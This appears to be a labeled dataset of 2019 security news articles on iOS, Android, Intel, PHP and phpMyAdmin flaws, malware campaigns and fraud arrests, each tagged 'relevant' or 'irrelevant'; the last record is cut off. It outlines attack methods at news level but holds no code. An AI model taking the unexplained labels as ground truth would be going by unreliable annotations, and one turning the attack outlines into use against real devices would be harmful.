"Yikes! iOS 13 Coming Next Week With iPhone LockScreen Bypass Bug Good news... next week, on September 19, Apple will roll out iOS 13, the latest version of its mobile operating system. Yes, we're excited about, but here comes the bad news... iOS 13 contains a vulnerability that could allow anyone to bypass the lockscreen protection on your iPhone and access some sensitive information. Jose Rodriguez, a Spanish security researcher, contacted The Hacker News and revealed that he discovered a lockscreen bypass bug in iOS 13 that allowed him to access the full list of Contacts on his iPhone—and every piece of information saved on them. Rodriguez told The Hacker News that he discovered the new lockscreen bypass bug on his iPhone running iOS 13 beta version and reported it to Apple on July 17. However, unfortunately, Apple failed to patch the bug even after being informed months ago, and the bypass is still working on the Gold Master (GM) version of iOS 13, the final version of the software that will be rolled out to everyone on September 19. How Does iOS 13 Lockscreen Bypass On iPhone Work? The bug allows anyone with physical access to a target's iPhone to trick the smartphone into granting access to the full list of stored Contacts, as well as detailed information for each individual contact including their names, phone numbers, and emails—all using nothing but a FaceTime call. The latest iPhone lockscreen bypass hack is similar to the one Rodriguez discovered last year in iOS 12.1, just a few hours after Apple released iOS 12.1, allowing anyone to bypass the lockscreen on a targeted iPhone using the built-in VoiceOver feature. To demonstrate the new iPhone hack, Rodriguez shared a video with The Hacker News, as shown below, demonstrating how the hack works and relatively how simple it is to perform by any non-techie user. The bug involves activating a FaceTime call on a target's iPhone and then accessing Siri's voiceover support feature to obtain access to the contact list—and every information saved on them. However, more likely, Apple will patch this issue in the iOS 13.1 release, which is expected to arrive for the public on September 30. So all users should patch their iPhones by the end of the month. Until then iPhone users are recommended to not leave their phone unattended, at least in public and workplaces.",relevant
"1-Click iPhone and Android Exploits Target Tibetan Users via WhatsApp A team of Canadian cybersecurity researchers has uncovered a sophisticated and targeted mobile hacking campaign that is targeting high-profile members of various Tibetan groups with one-click exploits for iOS and Android devices. Dubbed Poison Carp by University of Toronto's Citizen Lab, the hacking group behind this campaign sent tailored malicious web links to its targets over WhatsApp, which, when opened, exploited web browser and privilege escalation vulnerabilities to install spyware on iOS and Android devices stealthily. ""Between November 2018 and May 2019, senior members of Tibetan groups received malicious links in individually tailored WhatsApp text exchanges with operators posing as NGO workers, journalists, and other fake personas,"" the researchers say. What's more? The researchers said they found ""technical overlaps"" of Poison Carp with two recently discovered campaigns against the Uyghur community in China—the iPhone hacking campaign reported by experts at Google and the Evil Eye campaign published by Volexity last month. Based on the similarities of the three campaigns, researchers believed that the Chinese government sponsors Poison Carp group. Poison Carp campaign exploits a total of 8 distinct Android browser exploits to install a previously undocumented fully-featured Android spyware, called MOONSHINE and one iOS exploit chain to stealthily install iOS spyware on 'users' device—none of which were zero days. tibet malware attack ""Four of the MOONSHINE exploits are clearly copied from working exploit code posted by security researchers on bug trackers or GitHub pages,"" the report says. Researchers observed a total of 17 intrusion attempts against Tibetan targets that were made over that period, 12 of which contained links to the iOS exploit. Once installed, the malicious implant allows attackers to: gain full control of victims device, exfiltrate data including text messages, contacts, call logs, and location data, access the 'device's camera and microphone, exfiltrate private data from Viber, Telegram, Gmail, Twitter, and WhatsApp, downloads and install additional malicious plugins. Besides this, researchers also observed a malicious OAuth application that the same group of attackers used to gain access to its 'victims' Gmail accounts by redirecting them to a decoy page designed to convince them that the app served a legitimate purpose. Among the victims that were targeted by the Poison Carp hackers between November 2018 and May 2019 include the Private Office of Tibetan Buddhist leader the Dalai Lama, the Central Tibetan Administration, the Tibetan Parliament, Tibetan human rights groups, and individuals holding senior positions in their respective organizations. Though this is not the first case attempting to target Tibetan government, the researchers say the new Poison Carp campaign is ""the first documented case of one-click mobile exploits used to target Tibetan groups."" ""It represents a significant escalation in social engineering tactics and technical sophistication compared to what we typically have observed being used against the Tibetan community,"" the report reads. After the disclosure of iPhone hacking campaign, Apple released a statement last month confirming that the iOS campaign targeted the Uyghur community and saying that the company patched the vulnerabilities in question in February this year. Since none of the iOS and Android vulnerabilities exploited in the campaign is zero-day, users are highly recommended always to keep their mobile devices up-to-date to avoid falling victim to such attacks.",irrelevant
"The Hottest Malware Hits of the Summer It's been a summer of ransomware hold-ups, supply chain attacks and fileless attacks flying under the radar of old-school security. With malware running amok while we were lying on the beach, here's a recap of the most burning strains and trends seen in the wild during the months of July and August 2019. Malware Evolution Trends The heat must have had an effect as this summer saw malware continuing to evolve, particularly around three core trends: Evasion-by-design Malware has been increasingly designed to bypass security controls leveraging a host of tactics, most notably by: Changing hashes via file obfuscation to evade AVs. Using encrypted communication with C2 servers to foil EDRs. Using feature manipulation and tampering to trick AI, machine-learning engines, and sandboxes through the detection of such environments and the deliberate delay in execution. Fileless Attacks and Living-Off-The-Land (LOTL) Taking evasion techniques one step further, an increasing number of strains are leveraging PowerShell commands and masquerading as legitimate system tools, all while running completely from memory (RAM) to fly under the radar of traditional IoC-based solutions and requiring behavior-based analysis to detect. (Jack-in-the-box)2 or Jack-in-the-box, Squared No thanks to underground botnet-as-a-service businesses, whole botnets of compromised systems are rented out to hackers, through which they can leverage ready-made access to live and well systems to simultaneously unleash multiple malware strains at their disposal. For example, Emotet serving IcedID (Bokbot) followed by Trickbot or the Ryuk ransomware. Deadliest Immediate Threats What were this summer's most exotic and lethal malware strains? Here's a roundup. Astaroth Malware Uses Living-Off-The-Land (LOTL) Techniques Targeting European and Brazilian organizations, and posing an immediate threat to 76% of organizations who tested their resilience to it, according to the Cymulate Research Lab, the fileless Astaroth malware evades traditional IoC-based security controls, stealing user credentials, including PII, system and financial data. Credit: Microsoft At no point during the entire attack kill chain does Astaroth drop any executable files on disk, or use any file that is not a system tool, running its payload completely in memory (RAM). Sodinokibi Exploits a CVE to Push Ransomware Via MSP websites The Sodinokibi (""Sodi"") ransomware is rare in its usage of a Windows vulnerability, namely CVE-2018-8453 patched by Microsoft last year, which enables gaining admin-level access. Suspected to be the successor of the GandCrab ransomware-as-a-service, Sodinokibi is disseminated through managed service providers' (MSP) websites, a form of supply chain attacks, where download links are replaced with the ransomware executable. Initially suspected as being offered as a service in the underground because of its 'master encryption key' approach, it has been confirmed that this is, in fact, the case. The good news is that none of the organizations simulating this specific variant were found to be vulnerable; however, the exposure rate for other Sodi variants during this summer ranged between 60% and 77%, depending on the strain tested. GermanWiper Ransomware Adds Insult to Injury Targeting German-speaking countries, GermanWiper does not really encrypt files. Rather, it overwrites all the victim's content with zeroes, irreversibly destroying their data. The ransom note is therefore bogus, rendering any payments made useless, and making offline backups crucial for recovery. Posing as a job application with a CV attachment, the malware is spread via email spam campaigns. 64% of organizations simulating GermanWiper appeared to be vulnerable when testing controls against it. MegaCortex Ransomware Extorts US and EU-based Enterprises Posing a threat to 70% of organizations, based on attack simulations performed, MegaCortex deliberately targets larger firms in a bid to extort larger sums of cash, ranging from $2M-$6M in bitcoin. The MegaCortex operators compromise servers critical to businesses and encrypt them and any other systems connected to the host. This ransomware was originally executed using a payload encrypted with a password that was manually entered during a live infection. In its newer strain, this password is hardcoded along with other features that have been automated, such as security evasion techniques. The malware has also evolved to decrypt and run its payload from memory. Silence APT Spreads Malware Targeting Banks Worldwide The Russian-speaking advanced persistent threat (APT) group is one of the most sophisticated in the world and has recently updated its TTPs to encrypt critical strings, including commands issued to bots in order to evade detection. Initially sending recon emails to potential victims to identify the easy-clickers, after initial infection, the hackers now spread additional malware to victims either through their rewritten TrueBot loader or through a fileless loader called Ivoke, hiding C2 communications through DNS tunneling. Over the past year, the group has amassed an estimated $4 million. 84% of organizations are vulnerable to the strain released this summer, according to Cymulate data. Turla Attacks Govt's using Hijacked Oilrig APT Group's Servers Specifically targeting governments and international bodies, Turla was seen to hijack infrastructure belonging to the Iranian-linked Oilrig APT group. Using a combination of custom malware, modified versions of publicly-available hacking tools and legitimate admin software, the group has been moving towards LOTL techniques, and its victims include ministries, governments, and communications technology organizations in ten different countries. 70% of organizations were found vulnerable to this threat at the time of security testing.",irrelevant
"Just An SMS Could Let Remote Attackers Access All Your Emails, Experts Warn Beware! Billion of Android users can easily be tricked into changing their devices' critical network settings with just an SMS-based phishing attack. Whenever you insert a new SIM in your phone and connects to your cellular network for the very first time, your carrier service automatically configures or sends you a message containing network-specific settings required to connect to data services. While manually installing it on your device, have you ever noticed what configurations these messages, technically known as OMA CP messages, include? Well, believe me, most users never bother about it if their mobile Internet services work smoothly. But you should worry about these settings, as installing untrusted settings can put your data privacy at risk, allowing remote attackers to spy on your data communications, a team of cybersecurity researchers told The Hacker News. Mobile carriers send OMA CP (Open Mobile Alliance Client Provisioning) messages containing APN settings, and other device configurations that your phone need to set up a connection to the gateway between your carrier's mobile network and the public Internet services. For APN settings, the configuration includes an optional field to configure HTTP proxy that can route your web traffic through it, but many carriers use transparent proxies that don't even require this field to be set. mobile apn settings Besides proxy settings, OMA CP provisioning messages can also include configurations to change the following settings on the phone over-the-air (OTA): MMS message server, Proxy address, Browser homepage and bookmarks, Mail server, Directory servers for synchronizing contacts and calendar, and more. According to a new report Check Point shared with The Hacker News, weakly-authenticated provisioning messages implemented by some device manufacturers—including Samsung, Huawei, LG, and Sony—can allow remote hackers to trick users into updating their device settings with malicious attacker-controlled proxy servers. This, in turn, could allow attackers to easily intercept some network connections a targeted device makes through its data carrier service, including web browsers and built-in email clients. ""It takes only a single SMS message to gain full access to your emails,"" the researchers say. ""In these attacks, a remote agent can trick users into accepting new phone settings that, for example, route all their Internet traffic to steal emails through a proxy controlled by the attacker."" ""Furthermore, anyone connected to a cellular network may be the target of this class of phishing attacks, meaning you don't have to be connected to a Wi-Fi network to get your private email data maliciously extracted by cyber attackers."" However, just like in case of setting up a proxy for a Wi-Fi connection, proxy settings for mobile data network are not used by every app installed a targeted device. Instead, it depends upon which app has been designed to accept the user-configured proxy. Moreover, the proxy server would not be able to decrypt HTTPS connections; thus, this technique is suitable only for intercepting insecure connections. opm-cp-message ""This is an entirely new classification of phishing attacks on our emails,"" said Slava Makkaveev, a security researcher at Check Point told The Hacker News. ""It was difficult to classify the vulnerability at first because it's a deep specificity problem. It's probably the most advanced phishing attack on our emails I've seen to date."" Coming back to the weaknesses Check Point researchers identified in the authentication of provisioning messages, specifications the industry-standard recommends to make OTA provisioning secure doesn't mandate carriers to properly authenticate CP messages using USERPIN, NETWPIN, or other methods. As a result, a message recipient (targeted user) cannot verify whether the OMA CP message with new settings has been originated from his network operator or an imposter, leaving an opportunity for attackers to exploit this weakness. ""More dangerously, anyone can buy a $10 USB dongle [send fake OMA CP messages] and execute a large-scale phishing attack. Special equipment is not required to carry out the attack,"" researchers explain. ""The phishing CP messages can either be narrowly targeted, e.g., preceded with a custom text message tailored to deceive a particular recipient, or sent out in bulk, assuming that at least some of the recipients are gullible enough to accept a CP without challenging its authenticity."" Researchers reported their findings to the affected Android phone vendors in March 2019. Samsung and LG have addressed the issue in their Security Maintenance Release for May and July respectively. Huawei is planning to fix the issue in the next generation of Mate series or P series smartphones, while Sony refused to acknowledge the issue, stating that their mobile phone devices follow the OMA CP specification. Even after getting patches, researchers recommended users not to blindly trust messages from your mobile carriers or APN settings available on the Internet claiming to help users with troubleshooting issues in data carrier services.",irrelevant
"Pay What You Wish — 9 Hacking Certification Training Courses in 1 Bundle The greatest threat facing most nations is no longer a standing army. It's a hacker with a computer who can launch a crippling cyber attack from thousands of miles away—potentially taking down everything from server farms to entire power grids with a few lines of code. So it should come as no surprise that virtually every major company in both the public and private sector—as well as national security teams and government agencies—are looking for talented and trained professionals who can help them evade these cyber threats. Although it may seem a bit counterintuitive, the only person who can fight back against a hacker is another hacker. Known as ethical or ""white hat"" hackers, these intrepid cyber warriors are the first and most important line of defense against these nefarious hackers, and they're being paid handsomely for their services. The Complete White Hat Hacker Certification Bundle will teach you everything you need to know in order to join their ranks, and the best part is that you only have to pay what you want. What's in the Bundle? Through 9 courses (listed in the image) and 65 hours of content, this bundle will help you earn some of the field's most valuable certifications through training that walks you through both the fundamentals and more advanced elements of the industry. ethical hacking courses You'll learn how to code your own command functions, identify potential threats, patch up weak spots in a variety of server and networking infrastructures, integrate programming languages like Python and C into your projects, and more. You'll also work toward several certifications that will help you get a leg up over the competition, and there are plenty of hands-on tools and exercises to ensure that the education you receive here will be directly applicable in the field. Get the tools you need to become an in-demand white-hat hacker with The Complete White Hat Hacker Certification Bundle. Pay only what you want and if that's less than the average price paid you'll still take home something great. Beat the average price, and you take home the entire bundle. Please note that since prices are subject to change, so hurry in to take benefit of this deal!",irrelevant
"Latest Microsoft Updates Patch 4 Critical Flaws In Windows RDP Client Get your update caps on. Microsoft today released its monthly Patch Tuesday update for September 2019, patching a total of 79 security vulnerabilities in its software, of which 17 are rated critical, 61 as important, and one moderate in severity. Two of the security vulnerabilities patched by the tech giant this month are listed as ""publicly known"" at the time of release, one of which is an elevation of privilege vulnerability (CVE-2019-1235) in Windows Text Service Framework (TSF), more likely related to a 20-year-old flaw Google security researcher disclosed last month. Two other vulnerabilities patched this month are reported as being actively exploited in the wild by hackers, both are privilege elevation flaws—one resides in the Windows operating system and the other in Windows Common Log File System Driver. Besides these, Microsoft has released patches for four critical RCE vulnerabilities in Windows built-in Remote Desktop Client application that could enable a malicious RDP server to compromise the client's computer, reversely, just like researchers demonstrated similar attackers against 3rd-party RDP clients earlier this year. CVE-2019-0787 CVE-2019-0788 CVE-2019-1290 CVE-2019-1291 Unlike the wormable BlueKeep bug, the newly-patched RDP vulnerabilities are all client-side which require an attacker to trick victims into connecting to a malicious RDP server via social engineering, DNS poisoning or using a Man in the Middle (MITM) technique. The latest Microsoft Windows update also addresses a remote code execution vulnerability (CVE-2019-1280) in the way Windows operating system processes .LNK shortcut files, allowing attackers to compromise targeted systems. ""The attacker could present to the user a removable drive, or remote share, that contains a malicious .LNK file and an associated malicious binary. When the user opens this drive(or remote share) in Windows Explorer or any other application that parses the .LNK file, the malicious binary will execute code of the attacker's choice, on the target system,"" Microsoft advisory says. Malicious .LNK files have recently been found using by Astaroth fileless malware as part of its initial attack vector i.e., as an attachment with spear-phishing emails, according to cybersecurity researchers at Microsoft. Microsoft also released updates to patch 12 more critical vulnerabilities, and as expected, all of them lead to remote code execution attacks and reside in various Microsoft products including Chakra Scripting Engine, VBScript, SharePoint server, Scripting Engine, and Azure DevOps and Team Foundation Server. Some important-rated vulnerabilities also lead to remote code execution attacks, while others allow elevation of privilege, information disclosure, cross-site scripting (XSS), security feature bypass, and denial of service attacks. Besides this, if you have an Android app for Yammer, Microsoft's enterprise social network, installed on your smartphone, you should separately update it from Google Play Store to patch a security bypass vulnerability. Users and system administrators are highly recommended to apply the latest Windows security patches from Microsoft as soon as possible to keep cybercriminals and hackers away from taking control of their computers. For installing the latest security updates, you can head on to Settings → Update & Security → Windows Update → Check for updates on your computer, or you can install the updates manually. Adobe also rolled out security updates today to fix a total of 3 security vulnerabilities in Adobe Flash Player and Adobe Application Manager (AAM). Users of the affected Adobe software for Windows, macOS, Linux, and Chrome OS are advised to update their software packages to the latest versions.",relevant
"Solution Providers Can Now Add Incident Response to Their Services Portfolio For Free The Incident Response (IR) services market is in accelerated growth due to the rise in cyberattacks that result in breaches. More and more organizations, across all sizes and verticals, choose to outsource IR to 3rd party service providers over handling security incidents in-house. Cynet is now launching a first-of-its-kind offering, enabling any Managed Security Provider (MSP) or Security Integrator (SI) to add Incident Response to its services portfolio, without building an in-house team of incident responders, by using Cynet's IR team and technology at no cost. Managed Service providers interested to add Incident Response to their service portfolio with no investment in people or technology can apply here. As cyber threats grow in sophistication and volume, there is an increasing number of cases in which attackers succeed in compromising the environments they target. This, in turn, fuels a rapidly growing demand for IR technologies and services. Since in most cases the response to a suspected attack requires skills in fields such as forensics, reverse engineering and other investigation skills that are not part of the standard IT workforce's expertise, many organizations prefer to put their trust in a professional 3rd party that specializes in providing IR services. However, while the demand for IR services is high, only a small part of MSPs and SIs provide IR services. All others that provide standard IT and security services such as deployment, integration, and management, don't offer IR services due to the difficulties in recruiting a team of skilled responders. Cynet now launches a new offering, enabling existing IT and security service providers to add IR to their offered services cart without having their own in-house team of security experts. With this offering, the service providers can sell IR services to their customers, and when an incident occurs, engage the Cynet CyOps security team, who install the Cynet 360 platform across the customer environment within minutes, and conduct a rapid and efficient investigation and response, until the environment is clean again. On top of the explicit benefit of adding IR services to its offering with zero investment, after the incident response process is over, MSPs and SIs have the option to leverage the momentum of having Cynet 360 already deployed and working on the customer environment to showcase the full value proposition of the platform and sell the Cynet 360 breach protection platform on a yearly subscription base. Managed Service Providers that want to learn more on how to include Incident Response in their services at no cost can apply here. About CyOps: CyOps is a team of handpicked security analysts and threat researchers that respond to events on a daily basis through Cynet's Security Operations Center. CyOps' vast cybersecurity experience warrants rapid and efficient operation across environments of all types and sizes. About Cynet 360: CyOps uses Cynet 360 Autonomous Breach Protection as their default IR platform when engaging with an environment under attack. Cynet 360 instantly collects and correlates all the endpoint, network and user data from the environment, enabling CyOps to pinpoint suspicious entities and connections, investigate to unveil root-cause, scope, and impact, and remove malicious presence and activity. These responders' expertise and Cynet 360's cutting-edge IR technology magnify one another, to deliver IR with unmatched quality and efficiency.",irrelevant
"NetCAT: New Attack Lets Hackers Remotely Steal Data From Intel CPUs Unlike previous side-channel vulnerabilities disclosed in Intel CPUs, researchers have discovered a new flaw that can be exploited remotely over the network without requiring an attacker to have physical access or any malware installed on a targeted computer. Dubbed NetCAT, short for Network Cache ATtack, the new network-based side-channel vulnerability could allow a remote attacker to sniff out sensitive data, such as someone's SSH password, from Intel's CPU cache. Discovered by a team of security researchers from the Vrije University in Amsterdam, the vulnerability, tracked as CVE-2019-11184, resides in a performance optimization feature called Intel's DDIO—short for Data-Direct I/O—which by design grants network devices and other peripherals access to the CPU cache. The DDIO comes enabled by default on all Intel server-grade processors since 2012, including Intel Xeon E5, E7 and SP families. According to the researchers [paper], NetCAT attack works similar to Throwhammer by solely sending specially crafted network packets to a targeted computer that has Remote Direct Memory Access (RDMA) feature enabled. RDMA enables attackers to spy on remote server-side peripherals such as network cards and observe the timing difference between a network packet that is served from the remote processor's cache versus a packet served from memory. Here the idea is to perform a keystroke timing analysis to recover words typed by a victim using a machine learning algorithm against the time information. ""In an interactive SSH session, every time you press a key, network packets are being directly transmitted. As a result, every time a victim you type a character inside an encrypted SSH session on your console, NetCAT can leak the timing of the event by leaking the arrival time of the corresponding network packet,"" explains the VUSec team. ""Now, humans have distinct typing patterns. For example, typing's' right after 'a' is faster than typing 'g' after's.' As a result, NetCAT can operate statical analysis of the inter-arrival timings of packets in what is known as a keystroke timing attack to leak what you type in your private SSH session."" ""Compared to a native local attacker, NetCAT's attack from across the network only reduces the accuracy of the discovered keystrokes on average by 11.7% by discovering inter-arrival of SSH packets with a true positive rate of 85%."" The VUSec team has also published a video, as shown above, demonstrating a method for spying on SSH sessions in real-time with nothing but a shared server. NetCAT becomes the new side-channel vulnerability joined the list of other dangerous side-channel vulnerabilities discovered in the past year, including Meltdown and Spectre, TLBleed, Foreshadow, SWAPGS, and PortSmash. In its advisory, Intel has acknowledged the issue and recommended users to either completely disable DDIO or at least RDMA to make such attacks more difficult, or otherwise suggested to limit direct access to the servers from untrusted networks. The company assigned the NetCAT vulnerability a ""low"" severity rating, describing it as a partial information disclosure issue, and awarded a bounty to the VUSec team for the responsible disclosure.",relevant
"Hundreds of BEC Scammers Arrested in Nigeria and U.S. — $3.7 Million Recovered Breaking News — The Nigerian prince and his allies who might have also asked you over an email for your assistance to help save ""the first African astronaut lost in space"" have finally been arrested by the FBI. Don't take it too seriously, as there's no Nigerian prince or an astronaut seeking your help. Instead, it was an infamous 'Nigerian 419' scam email template where fraudsters try to dupe you into making a quick online payment by offering a share in a large sum of money on the condition you help them transfer money out of their country. The FBI today announced the arrests of 281 suspects from around the world as part of an internationally coordinated law enforcement operation aimed at disrupting multi-billion-dollar BEC email and wire transfer scams. With no surprise, the largest number of arrests were made in Nigeria where authorities detained a total of 167 suspects, though a significant number of arrests were also made in nine other countries. According to the United States Department of Justice, 74 suspects were arrested in the United States, 18 in Turkey, 15 in Ghana and the rest of the arrests were made in France, Italy, Japan, Kenya, Malaysia, and the United Kingdom (UK). Dubbed Operation reWired, the four-month-long global operation resulted in the seizure of nearly $3.7 million and follows a June 2018 email scam enforcement operation known as 'Wire Wire,' which lead to the arrest of 74 suspects around the world, seizure of almost $2.4 million, and recovery of nearly $14 million in fraudulent wire transfers. The arrests primarily targeted scammers who were involved in Business Email Compromise (BEC) schemes, also known as ""cyber-enabled financial fraud,"" where cybercriminals use a spoofed email or compromised account, impersonating the CEO or CFO, to trick someone in the finance department of a targeted company into initiating a money transfer to a fraudulent account. ""A number of cases involved international criminal organizations that defrauded small to large-sized businesses, while others involved individual victims who transferred high dollar funds or sensitive records in the course of business,"" the DoJ says. ""The devastating effects these cases have on victims and victim companies affect not only the individual business but also the global economy."" BEC scams are related to, and often conducted together with, other forms of frauds such as romance scams, employment opportunities scams, fraudulent online vehicle sales scams, rental scams, and lottery scams. nigerian scams Investigators started targeting people involved in the BEC scam in May 2019 and discovered that ""the conspirators stole more than 250,000 identities and filed more than 10,000 fraudulent tax returns, attempting to receive more than $91 million in refunds,"" according to Chief Don Fort of IRS Criminal Investigation. BEC Now A $26 Billion Online Fraud According to the FBI's Internet Crime Complaint Center (IC3), between June 2016 and July 2019, there were over 166,000 domestic and international reports of email scams resulting in more than $26 billion in losses, up from a previous estimate of $12 billion. In 2018 alone, nearly $1.3 billion, which is almost twice as much as 2017, in loses was reported from BEC scams and its variant, Email Account Compromise. ""Through Operation reWired, we're sending a clear message to the criminals who orchestrate these BEC schemes: We'll keep coming after you, no matter where you are,"" said FBI Director Christopher A. Wray. ""And to the public, we'll keep doing whatever we can to protect you. Reporting incidents of BEC and other internet-enabled crimes to the IC3 brings us one step closer to the perpetrators."" Several US authorities led this operation, including the FBI, over two dozen US Attorney's Offices, US Secret Service, Homeland Security Investigations, IRS Criminal Investigation, US Postal Inspection Service, and US Department of State's Diplomatic Security Service.",irrelevant
"US Sanctions 3 North Korean Hacking Groups Accused for Global Cyber Attacks The United States Treasury Department on Friday announced sanctions against three state-sponsored North Korean hacking groups for conducting several destructive cyberattacks on US critical infrastructure. Besides this, the hacking groups have also been accused of stealing possibly hundreds of millions of dollars from financial institutions around the world to ultimately fund the North Korean government's illicit weapons and missile programs. The three North Korean hacking groups in question are the well-known Lazarus Group, and its two sub-groups, Bluenoroff and Andariel. The sanctions announced by the Treasury Department's Office of Foreign Assets Control (OFAC) claim that all the three groups are ""agencies, instrumentalities, or controlled entities of the Government of North Korea"" based on their relationship with Pyongyang's central intelligence bureau called the Reconnaissance General Bureau (RGB). Specifically, the sanctions aim to lock any foreign financial institution who knowingly facilitated significant transactions or services for these hacking groups and freeze any asset associated with these three groups. ""We will continue to enforce existing US and UN sanctions against North Korea and work with the international community to improve the cybersecurity of financial networks,"" Sigal Mandelker, Treasury Under Secretary for Terrorism and Financial Intelligence said in a statement. Lazarus Group, aka Hidden Cobra The well-known group out of all is Lazarus group, also known as Hidden Cobra and Guardians of Peace, that has allegedly been associated with several high-profile cyberattacks, including Sony Pictures hack in 2014 and the WannaCry ransomware menace in 2017. According to the Treasury's OFAC, the destructive WannaCry ransomware attack hit several organizations in at least 150 countries, including the United States, Australia, Canada, New Zealand, and the United Kingdom, and shut down about 300,000 computers. However, the fatal Wannacry hit was against the UK's National Health Service (NHS), with hospitals that provide intensive care units and other emergency services virtually shut down and over 19,000 appointments canceled, which cost the NHS more than $112 million. The US Department of Justice last year also announced criminal charges against a North Korean computer programmer, named Park Jin Hyok, in connection with the WannaCry ransomware attacks and Sony Pictures hack. Bluenoroff—Lazarus Group's First Sub-Group According to the Treasury Department, the Lazarus group formed its first sub-group, called Bluenoroff, specifically to obtain revenue for the North Korean government by targeting financial institutions around the world. Since at least 2014, Bluenoroff had targeted the Society for Worldwide Interbank Financial Telecommunication (SWIFT) transfer system, financial institutions, and cryptocurrency exchanges, using a variety of tactics like phishing and backdoor intrusions. The group had successfully carried out such operations against over 16 organizations across 11 countries, including Bangladesh, India, Mexico, Pakistan, Philippines, South Korea, Taiwan, Turkey, Chile, and Vietnam. Bluenoroff's most notorious cyber attack involving SWIFT being against the Central Bank of Bangladesh's New York Federal Reserve in 2016, when the group worked with Lazarus Group to steal $81 million dollars from the Reserve account, while it attempted to steal $851 million. Anadriel—Lazarus Group's Second Sub-Group The second Lazarus Group sub-group, Andariel, has been specialized in conducting malicious cyber operations against foreign businesses, government agencies, financial services, private corporations, and the defense industry. Andariel was ""observed by cybersecurity firms attempting to steal bank card information by hacking into ATMs to withdraw cash or steal customer information to later sell on the black market,"" the Treasury said. The Treasury also said Andariel hackers created unique malware to hack online poker and gambling sites to steal cash. However, besides its criminal activities, Andariel continues to conduct cyber attacks against South Korea government personnel and the South Korean military in an effort to gather intelligence and create disorder. ""One case spotted in September 2016 was a cyber intrusion into the personal computer of the South Korean Defense Minister in the office at that time and the Defense Ministry's intranet in order to extract military operations intelligence,"" the US Treasury said. In addition, these three state-sponsored hacking groups likely managed to steal around $571 million in cryptocurrency alone, from at least five cryptocurrency exchanges in Asia between January 2017 and September 2018. The sanctioning of the three groups are the latest efforts of the US government to hold North Korean hackers accountable for cyber attacks and to protect US financial systems and critical infrastructure against cyber threats.",irrelevant
"Multiple Code Execution Flaws Found In PHP Programming Language Maintainers of the PHP programming language recently released the latest versions of PHP to patch multiple high-severity vulnerabilities in its core and bundled libraries, the most severe of which could allow remote attackers to execute arbitrary code and compromise targeted servers. Hypertext Preprocessor, commonly known as PHP, is the most popular server-side web programming language that powers over 78 percent of the Internet today. The latest releases under several maintained branches include PHP version 7.3.9, 7.2.22 and 7.1.32, addressing multiple security vulnerabilities. Depending on the type, occurrence, and usage of the affected codebase in a PHP application, successful exploitation of some of the most severe vulnerabilities could allow an attacker to execute arbitrary code in the context of the affected application with associated privileges. On the other hand, failed attempts at exploitation will likely result in a denial of service (DoS) condition on the affected systems. The vulnerabilities could leave hundreds of thousands of web applications that rely on PHP open to code execution attacks, including websites powered by some popular content management systems like WordPress, Drupal and Typo3. php vulnerabilities Out of these, a 'use-after-free' code execution vulnerability, assigned as CVE-2019-13224, resides in Oniguruma, a popular regular expression library that comes bundled with PHP, as well as many other programming languages. A remote attacker can exploit this flaw by inserting a specially crafted regular expression in an affected web application, potentially leading to code execution or causing information disclosure. ""The attacker provides a pair of a regex pattern and a string, with a multi-byte encoding that gets handled by onig_new_deluxe(),"" Red Hat says in its security advisory describing the vulnerability. Other patched flaws affect curl extension, Exif function, FastCGI Process Manager (FPM), Opcache feature, and more. Good news is that so far there is no report of any of these security vulnerabilities being exploited in the wild by attackers. The PHP security team has addressed the vulnerabilities in the latest versions. So users and hosting providers are strongly recommended to upgrade their servers to the latest PHP version 7.3.9, 7.2.22, or 7.1.32.",relevant
"Warning: Researcher Drops phpMyAdmin Zero-Day Affecting All Versions A cybersecurity researcher recently published details and proof-of-concept for an unpatched zero-day vulnerability in phpMyAdmin—one of the most popular applications for managing the MySQL and MariaDB databases. phpMyAdmin is a free and open source administration tool for MySQL and MariaDB that's widely used to manage the database for websites created with WordPress, Joomla, and many other content management platforms. Discovered by security researcher and pentester Manuel Garcia Cardenas, the vulnerability claims to be a cross-site request forgery (CSRF) flaw, also known as XSRF, a well-known attack wherein attackers trick authenticated users into executing an unwanted action. Identified as CVE-2019-12922, the flaw has been given a medium rating because of its limited scope that only allows an attacker to delete any server configured in the setup page of a phpMyAdmin panel on a victim's server. To be noted, it's not something you should not be much worried about because the attack doesn't allow attackers to delete any database or table stored on the server. All an attacker needs to do is send a crafted URL to targeted web administrators, who already have logged in to their phpmyAdmin panel on the same browser, tricking them into unknowingly delete the configured server by simply clicking on it. ""The attacker can easily create a fake hyperlink containing the request that wants to execute on behalf of the user, in this way making possible a CSRF attack due to the wrong use of HTTP method,"" Cardenas explains in a post to the Full Disclosure mailing list. However, the vulnerability is trivial to exploit because other than knowing the URL of a targeted server, an attacker doesn't need to know any other information, like the name of the databases. Proof of Concept Exploit Code phpmyadmin exploit The flaw affects phpMyAdmin versions up to and including 4.9.0.1, which is the latest version of the software at the time of writing. The security flaw also resides in phpMyAdmin 5.0.0-alpha1, which was released in July 2019, Cardenas told The Hacker News. Cardenas discovered this vulnerability back in June 2019, and also responsibly reported it to the project maintainers. However, after phpMyAdmin maintainers failed to patch the vulnerability within 90 days of being notified, the researcher decided to release the vulnerability details and PoC to the public on 13 September. To address this vulnerability, Cardenas recommended to ""implement in each call the validation of the token variable, as already done in other phpMyAdmin requests,"" as a solution. Until the maintainers patch the vulnerability, website administrators and hosting providers are highly recommended to avoid clicking any suspicious links.",relevant
"The Definitive RFP Templates for EDR/EPP and APT Protection Advanced Persistent Threats groups were once considered a problem that concerns Fortune 100 companies only. However, the threat landscape of the recent years tells otherwise—in fact, every organization, regardless of vertical and size is at risk, whether as a direct target, supply chain or collateral damage. The vast majority of security decision-makers acknowledge they need to address the APT risk with additional security solutions but struggle with mapping APT attack vectors to a clear-cut set of security product capabilities, which impairs their ability to choose the products that would best protect them. Cynet is now addressing this need with the definitive RFP templates for EDR/EPP and APT Protection, an expert-made security requirement list, that enables stakeholders to accelerate and optimize the evaluation process of the products they evaluate. These RFP templates aim to capture the widest common denominator in terms of security needs and deliver the essential that are relevant for any organization. Thus, using these ready-made templates can potentially save volumes of times and resources otherwise spent on building a similar requirement list from scratch. APT groups, as the name implies, are highly persistent. In practice, this persistence manifests in targeting numerous attack surfaces until successful compromise. To adequately defend from such attacks one must be well acquainted with both of these attack surfaces, as well as with the various vectors attackers use to target them. ""The best analogy is a Ninja warrior with multiple weapons,""' says Eyal Gruner, Co-Founder of Cynet, ""as an attacker you seek the weak link until you find it—vulnerable endpoint, VPN credentials, networking misconfiguration, insecure DMZ architecture… it's really endless."" ""But of course, there are vectors that are used more. Some, because they yield better results and some because they are easier to execute. Like any industry, there are common practices you can clearly map out."" This attack vector map should reside on the backend of any 